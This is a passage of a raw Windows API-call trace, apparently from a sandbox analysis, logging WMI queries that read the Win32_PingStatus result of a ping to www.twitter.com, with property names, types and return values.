wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2306288*=0, plFlavor=0x230628c*=0 | out: pVal=0x5bdef04*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2306288*=19, plFlavor=0x230628c*=0) returned 0x0 [0156.438] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="PrimaryAddressResolutionStatus", lFlags=0, pVal=0x5bdef0c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2306288*=19, plFlavor=0x230628c*=0 | out: pVal=0x5bdef0c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2306288*=19, plFlavor=0x230628c*=0) returned 0x0 [0156.439] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bdef08 | out: puCount=0x5bdef08*=0x2) returned 0x0 [0156.439] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bdef04*=0x0, pszText=0x0 | out: puBuffLength=0x5bdef04*=0xf, pszText=0x0) returned 0x0 [0156.439] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bdef04*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bdef04*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0156.439] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="StatusCode", lFlags=0, pVal=0x5bdef04*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x230631c*=0, plFlavor=0x2306320*=0 | out: pVal=0x5bdef04*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x230631c*=19, plFlavor=0x2306320*=0) returned 0x0 [0156.439] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="StatusCode", lFlags=0, pVal=0x5bdef0c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x230631c*=19, plFlavor=0x2306320*=0 | out: pVal=0x5bdef0c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x230631c*=19, plFlavor=0x2306320*=0) returned 0x0 [0156.449] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bdec54 | out: puCount=0x5bdec54*=0x2) returned 0x0 [0156.449] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bdec50*=0x0, pszText=0x0 | out: puBuffLength=0x5bdec50*=0xf, pszText=0x0) returned 0x0 [0156.449] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bdec50*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bdec50*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0156.449] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="__NAMESPACE", lFlags=0, pVal=0x5bdec50*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x23071b0*=0, plFlavor=0x23071b4*=0 | out: pVal=0x5bdec50*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x23071b0*=8, plFlavor=0x23071b4*=64) returned 0x0 [0156.449] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0156.449] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0156.449] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="__NAMESPACE", lFlags=0, pVal=0x5bdec58*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x23071b0*=8, plFlavor=0x23071b4*=64 | out: pVal=0x5bdec58*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x23071b0*=8, plFlavor=0x23071b4*=64) returned 0x0 [0156.449] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0156.450] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0156.450] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bdec54 | out: puCount=0x5bdec54*=0x2) returned 0x0 [0156.450] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bdec50*=0x0, pszText=0x0 | out: puBuffLength=0x5bdec50*=0xf, pszText=0x0) returned 0x0 [0156.450] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bdec50*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bdec50*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0156.450] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="__CLASS", lFlags=0, pVal=0x5bdec50*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x230724c*=0, plFlavor=0x2307250*=0 | out: pVal=0x5bdec50*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x230724c*=8, plFlavor=0x2307250*=64) returned 0x0 [0156.450] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0156.450] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0156.450] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="__CLASS", lFlags=0, pVal=0x5bdec58*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x230724c*=8, plFlavor=0x2307250*=64 | out: pVal=0x5bdec58*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x230724c*=8, plFlavor=0x2307250*=64) returned 0x0 [0156.450] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0156.450] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0156.451] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bdec54 | out: puCount=0x5bdec54*=0x2) returned 0x0 [0156.451] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bdec50*=0x0, pszText=0x0 | out: puBuffLength=0x5bdec50*=0xf, pszText=0x0) returned 0x0 [0156.451] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bdec50*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bdec50*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0156.451] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="__Derivation", lFlags=0, pVal=0x5bdec50*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x23073a8*=0, plFlavor=0x23073ac*=0 | out: pVal=0x5bdec50*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5f6db48*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5f6aed0, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x23073a8*=8200, plFlavor=0x23073ac*=64) returned 0x0 [0156.451] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="__Derivation", lFlags=0, pVal=0x5bdec58*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x23073a8*=8200, plFlavor=0x23073ac*=64 | out: pVal=0x5bdec58*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5f6db18*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5f6aed0, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x23073a8*=8200, plFlavor=0x23073ac*=64) returned 0x0 [0156.452] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bdec54 | out: puCount=0x5bdec54*=0x2) returned 0x0 [0156.452] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bdec50*=0x0, pszText=0x0 | out: puBuffLength=0x5bdec50*=0xf, pszText=0x0) returned 0x0 [0156.452] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bdec50*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bdec50*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0156.452] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="__CLASS", lFlags=0, pVal=0x5bdec50*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2307718*=0, plFlavor=0x230771c*=0 | out: pVal=0x5bdec50*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2307718*=8, plFlavor=0x230771c*=64) returned 0x0 [0156.452] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0156.452] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0156.453] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="__CLASS", lFlags=0, pVal=0x5bdec58*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2307718*=8, plFlavor=0x230771c*=64 | out: pVal=0x5bdec58*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2307718*=8, plFlavor=0x230771c*=64) returned 0x0 [0156.453] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0156.453] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0156.453] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bdec54 | out: puCount=0x5bdec54*=0x2) returned 0x0 [0156.453] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bdec50*=0x0, pszText=0x0 | out: puBuffLength=0x5bdec50*=0xf, pszText=0x0) returned 0x0 [0156.453] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bdec50*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bdec50*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0156.453] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="__Derivation", lFlags=0, pVal=0x5bdec50*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2307840*=0, plFlavor=0x2307844*=0 | out: pVal=0x5bdec50*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5f6db48*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5f6aed0, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x2307840*=8200, plFlavor=0x2307844*=64) returned 0x0 [0156.453] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="__Derivation", lFlags=0, pVal=0x5bdec58*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2307840*=8200, plFlavor=0x2307844*=64 | out: pVal=0x5bdec58*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5f6db18*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5f6aed0, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x2307840*=8200, plFlavor=0x2307844*=64) returned 0x0 [0156.462] EtwEventActivityIdControl () returned 0x0 [0156.462] EtwEventActivityIdControl () returned 0x0 [0156.462] EtwEventActivityIdControl () returned 0x0 [0156.470] EtwEventActivityIdControl () returned 0x0 [0156.470] EtwEventActivityIdControl () returned 0x0 [0156.470] EtwEventActivityIdControl () returned 0x0 [0156.481] LocalAlloc (uFlags=0x0, uBytes=0x80) returned 0x59c6f8 [0156.485] LocalAlloc (uFlags=0x0, uBytes=0x80) returned 0x59c780 [0156.501] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde880 | out: puCount=0x5bde880*=0x2) returned 0x0 [0156.501] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde87c*=0x0, pszText=0x0 | out: puBuffLength=0x5bde87c*=0xf, pszText=0x0) returned 0x0 [0156.501] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde87c*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde87c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0156.501] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde880 | out: puCount=0x5bde880*=0x2) returned 0x0 [0156.501] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde87c*=0x0, pszText=0x0 | out: puBuffLength=0x5bde87c*=0xf, pszText=0x0) returned 0x0 [0156.501] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde87c*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde87c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0156.501] IWbemClassObject:GetNames (in: This=0x5f6e0e8, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x5bde888*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x5bde87c | out: pNames=0x5bde87c*="\x01ƀ\x04") returned 0x0 [0156.502] SafeArrayGetDim (psa=0x5f6dba8) returned 0x1 [0156.502] SafeArrayGetDim (psa=0x5f6dba8) returned 0x1 [0156.503] SafeArrayGetLBound (in: psa=0x5f6dba8, nDim=0x1, plLbound=0x5bde714 | out: plLbound=0x5bde714) returned 0x0 [0156.504] SysStringByteLen (bstr="__GENUS") returned 0xe [0156.504] SysStringByteLen (bstr="__GENUS") returned 0xe [0156.504] SysStringByteLen (bstr="__CLASS") returned 0xe [0156.504] SysStringByteLen (bstr="__CLASS") returned 0xe [0156.504] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0156.504] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0156.504] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0156.504] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0156.504] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0156.504] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0156.504] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0156.504] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0156.504] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0156.504] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0156.504] SysStringByteLen (bstr="__SERVER") returned 0x10 [0156.504] SysStringByteLen (bstr="__SERVER") returned 0x10 [0156.504] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0156.504] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0156.504] SysStringByteLen (bstr="__PATH") returned 0xc [0156.504] SysStringByteLen (bstr="__PATH") returned 0xc [0156.506] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="__GENUS", lFlags=0, pVal=0x5bde878*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2314e54*=0, plFlavor=0x2314e58*=0 | out: pVal=0x5bde878*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x2314e54*=3, plFlavor=0x2314e58*=64) returned 0x0 [0156.506] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="__CLASS", lFlags=0, pVal=0x5bde878*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2314f5c*=0, plFlavor=0x2314f60*=0 | out: pVal=0x5bde878*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2314f5c*=8, plFlavor=0x2314f60*=64) returned 0x0 [0156.506] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0156.506] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0156.506] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="__SUPERCLASS", lFlags=0, pVal=0x5bde878*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2314ff0*=0, plFlavor=0x2314ff4*=0 | out: pVal=0x5bde878*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2314ff0*=8, plFlavor=0x2314ff4*=64) returned 0x0 [0156.506] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="__DYNASTY", lFlags=0, pVal=0x5bde878*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x23150b4*=0, plFlavor=0x23150b8*=0 | out: pVal=0x5bde878*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x23150b4*=8, plFlavor=0x23150b8*=64) returned 0x0 [0156.506] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0156.506] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0156.507] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="__RELPATH", lFlags=0, pVal=0x5bde878*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2315148*=0, plFlavor=0x231514c*=0 | out: pVal=0x5bde878*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x2315148*=8, plFlavor=0x231514c*=64) returned 0x0 [0156.507] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a6 [0156.507] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a6 [0156.507] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x5bde878*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x231538c*=0, plFlavor=0x2315390*=0 | out: pVal=0x5bde878*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x231538c*=3, plFlavor=0x2315390*=64) returned 0x0 [0156.507] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="__DERIVATION", lFlags=0, pVal=0x5bde878*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x23154d4*=0, plFlavor=0x23154d8*=0 | out: pVal=0x5bde878*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5f6dbd8*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5f6aed0, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x23154d4*=8200, plFlavor=0x23154d8*=64) returned 0x0 [0156.507] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="__SERVER", lFlags=0, pVal=0x5bde878*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2315544*=0, plFlavor=0x2315548*=0 | out: pVal=0x5bde878*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x2315544*=8, plFlavor=0x2315548*=64) returned 0x0 [0156.507] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0156.507] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0156.507] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="__NAMESPACE", lFlags=0, pVal=0x5bde878*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x23155cc*=0, plFlavor=0x23155d0*=0 | out: pVal=0x5bde878*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x23155cc*=8, plFlavor=0x23155d0*=64) returned 0x0 [0156.508] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0156.508] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0156.508] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="__PATH", lFlags=0, pVal=0x5bde878*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x23156a0*=0, plFlavor=0x23156a4*=0 | out: pVal=0x5bde878*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x23156a0*=8, plFlavor=0x23156a4*=64) returned 0x0 [0156.508] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d6 [0156.508] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d6 [0156.508] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde8bc | out: puCount=0x5bde8bc*=0x2) returned 0x0 [0156.508] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde8b8*=0x0, pszText=0x0 | out: puBuffLength=0x5bde8b8*=0xf, pszText=0x0) returned 0x0 [0156.508] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde8b8*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde8b8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0156.508] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde8bc | out: puCount=0x5bde8bc*=0x2) returned 0x0 [0156.508] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde8b8*=0x0, pszText=0x0 | out: puBuffLength=0x5bde8b8*=0xf, pszText=0x0) returned 0x0 [0156.508] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde8b8*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde8b8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0156.508] IWbemClassObject:GetNames (in: This=0x5f6e0e8, wszQualifierName=0x0, lFlags=64, pQualifierVal=0x5bde8c4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x5bde8b8 | out: pNames=0x5bde8b8*="\x01ƀ\x04") returned 0x0 [0156.508] SafeArrayGetDim (psa=0x5f6dba8) returned 0x1 [0156.508] SafeArrayGetDim (psa=0x5f6dba8) returned 0x1 [0156.508] SafeArrayGetLBound (in: psa=0x5f6dba8, nDim=0x1, plLbound=0x5bde750 | out: plLbound=0x5bde750) returned 0x0 [0156.508] SysStringByteLen (bstr="Address") returned 0xe [0156.509] SysStringByteLen (bstr="Address") returned 0xe [0156.509] SysStringByteLen (bstr="BufferSize") returned 0x14 [0156.509] SysStringByteLen (bstr="BufferSize") returned 0x14 [0156.509] SysStringByteLen (bstr="NoFragmentation") returned 0x1e [0156.509] SysStringByteLen (bstr="NoFragmentation") returned 0x1e [0156.509] SysStringByteLen (bstr="PrimaryAddressResolutionStatus") returned 0x3c [0156.509] SysStringByteLen (bstr="PrimaryAddressResolutionStatus") returned 0x3c [0156.509] SysStringByteLen (bstr="ProtocolAddress") returned 0x1e [0156.509] SysStringByteLen (bstr="ProtocolAddress") returned 0x1e [0156.509] SysStringByteLen (bstr="ProtocolAddressResolved") returned 0x2e [0156.509] SysStringByteLen (bstr="ProtocolAddressResolved") returned 0x2e [0156.509] SysStringByteLen (bstr="RecordRoute") returned 0x16 [0156.509] SysStringByteLen (bstr="RecordRoute") returned 0x16 [0156.509] SysStringByteLen (bstr="ReplyInconsistency") returned 0x24 [0156.509] SysStringByteLen (bstr="ReplyInconsistency") returned 0x24 [0156.509] SysStringByteLen (bstr="ReplySize") returned 0x12 [0156.509] SysStringByteLen (bstr="ReplySize") returned 0x12 [0156.509] SysStringByteLen (bstr="ResolveAddressNames") returned 0x26 [0156.509] SysStringByteLen (bstr="ResolveAddressNames") returned 0x26 [0156.509] SysStringByteLen (bstr="ResponseTime") returned 0x18 [0156.509] SysStringByteLen (bstr="ResponseTime") returned 0x18 [0156.509] SysStringByteLen (bstr="ResponseTimeToLive") returned 0x24 [0156.509] SysStringByteLen (bstr="ResponseTimeToLive") returned 0x24 [0156.509] SysStringByteLen (bstr="RouteRecord") returned 0x16 [0156.510] SysStringByteLen (bstr="RouteRecord") returned 0x16 [0156.510] SysStringByteLen (bstr="RouteRecordResolved") returned 0x26 [0156.510] SysStringByteLen (bstr="RouteRecordResolved") returned 0x26 [0156.510] SysStringByteLen (bstr="SourceRoute") returned 0x16 [0156.510] SysStringByteLen (bstr="SourceRoute") returned 0x16 [0156.510] SysStringByteLen (bstr="SourceRouteType") returned 0x1e [0156.510] SysStringByteLen (bstr="SourceRouteType") returned 0x1e [0156.510] SysStringByteLen (bstr="StatusCode") returned 0x14 [0156.510] SysStringByteLen (bstr="StatusCode") returned 0x14 [0156.510] SysStringByteLen (bstr="Timeout") returned 0xe [0156.510] SysStringByteLen (bstr="Timeout") returned 0xe [0156.510] SysStringByteLen (bstr="TimeStampRecord") returned 0x1e [0156.510] SysStringByteLen (bstr="TimeStampRecord") returned 0x1e [0156.510] SysStringByteLen (bstr="TimeStampRecordAddress") returned 0x2c [0156.510] SysStringByteLen (bstr="TimeStampRecordAddress") returned 0x2c [0156.510] SysStringByteLen (bstr="TimeStampRecordAddressResolved") returned 0x3c [0156.510] SysStringByteLen (bstr="TimeStampRecordAddressResolved") returned 0x3c [0156.510] SysStringByteLen (bstr="TimestampRoute") returned 0x1c [0156.510] SysStringByteLen (bstr="TimestampRoute") returned 0x1c [0156.510] SysStringByteLen (bstr="TimeToLive") returned 0x14 [0156.510] SysStringByteLen (bstr="TimeToLive") returned 0x14 [0156.510] SysStringByteLen (bstr="TypeofService") returned 0x1a [0156.511] SysStringByteLen (bstr="TypeofService") returned 0x1a [0156.511] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="Address", lFlags=0, pVal=0x5bde8b4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2315dfc*=0, plFlavor=0x2315e00*=0 | out: pVal=0x5bde8b4*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="www.twitter.com", varVal2=0x0), pType=0x2315dfc*=8, plFlavor=0x2315e00*=0) returned 0x0 [0156.511] SysStringByteLen (bstr="www.twitter.com") returned 0x1e [0156.511] SysStringByteLen (bstr="www.twitter.com") returned 0x1e [0156.511] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="BufferSize", lFlags=0, pVal=0x5bde8b4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2315e8c*=0, plFlavor=0x2315e90*=0 | out: pVal=0x5bde8b4*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x20, varVal2=0x0), pType=0x2315e8c*=19, plFlavor=0x2315e90*=0) returned 0x0 [0156.511] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="NoFragmentation", lFlags=0, 